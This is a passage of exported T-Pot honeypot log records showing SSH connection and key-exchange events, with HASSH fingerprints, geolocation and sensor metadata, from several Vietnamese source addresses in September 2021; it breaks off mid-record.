23374	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:36.622646+03	2021-09-20 14:15:07.42447+03	{"_id": "MAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59246, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.622646", "@timestamp": "2021-09-20T11:07:36.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23375	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.622773+03	2021-09-20 14:15:07.425503+03	{"_id": "MQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59246, "timestamp": "2021-09-20T11:07:36.622773", "@timestamp": "2021-09-20T11:07:36.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23376	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.854787+03	2021-09-20 14:15:07.426471+03	{"_id": "MgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43416, "timestamp": "2021-09-20T11:07:36.854787", "@timestamp": "2021-09-20T11:07:36.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23387	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.380422+03	2021-09-20 14:15:07.441471+03	{"_id": "mgbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37256 (192.168.176.2:22) [session: 610ddc6da2e5]", "session": "610ddc6da2e5", "@version": "1", "protocol": "ssh", "src_port": 37256, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.380422Z", "@timestamp": "2021-09-20T11:07:34.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23377	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.855523+03	2021-09-20 14:15:07.427502+03	{"_id": "AwbjAnwBvYTbRNuE0g1j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "70d5de51c536", "@version": "1", "timestamp": "2021-09-20T11:07:36.855523Z", "@timestamp": "2021-09-20T11:07:36.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23378	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.114018+03	2021-09-20 14:15:07.429501+03	{"_id": "BAbjAnwBvYTbRNuE0g1j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "84b3477ef84b", "@version": "1", "timestamp": "2021-09-20T11:07:37.114018Z", "@timestamp": "2021-09-20T11:07:37.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23379	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:37.573553+03	2021-09-20 14:15:07.43047+03	{"_id": "VAbjAnwBvYTbRNuE1A3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 144789445664948, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53020, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.573553Z", "@timestamp": "2021-09-20T11:07:37.573Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23380	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:37.066025+03	2021-09-20 14:15:07.432498+03	{"_id": "UgbjAnwBvYTbRNuE1A3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1532351645004173, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43416, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.066025Z", "@timestamp": "2021-09-20T11:07:37.066Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23381	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:37.307792+03	2021-09-20 14:15:07.4335+03	{"_id": "cgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52022 (192.168.176.2:22) [session: 1d917e941c5d]", "session": "1d917e941c5d", "@version": "1", "protocol": "ssh", "src_port": 52022, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.307792Z", "@timestamp": "2021-09-20T11:07:37.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23382	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:37.297293+03	2021-09-20 14:15:07.434472+03	{"_id": "WwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 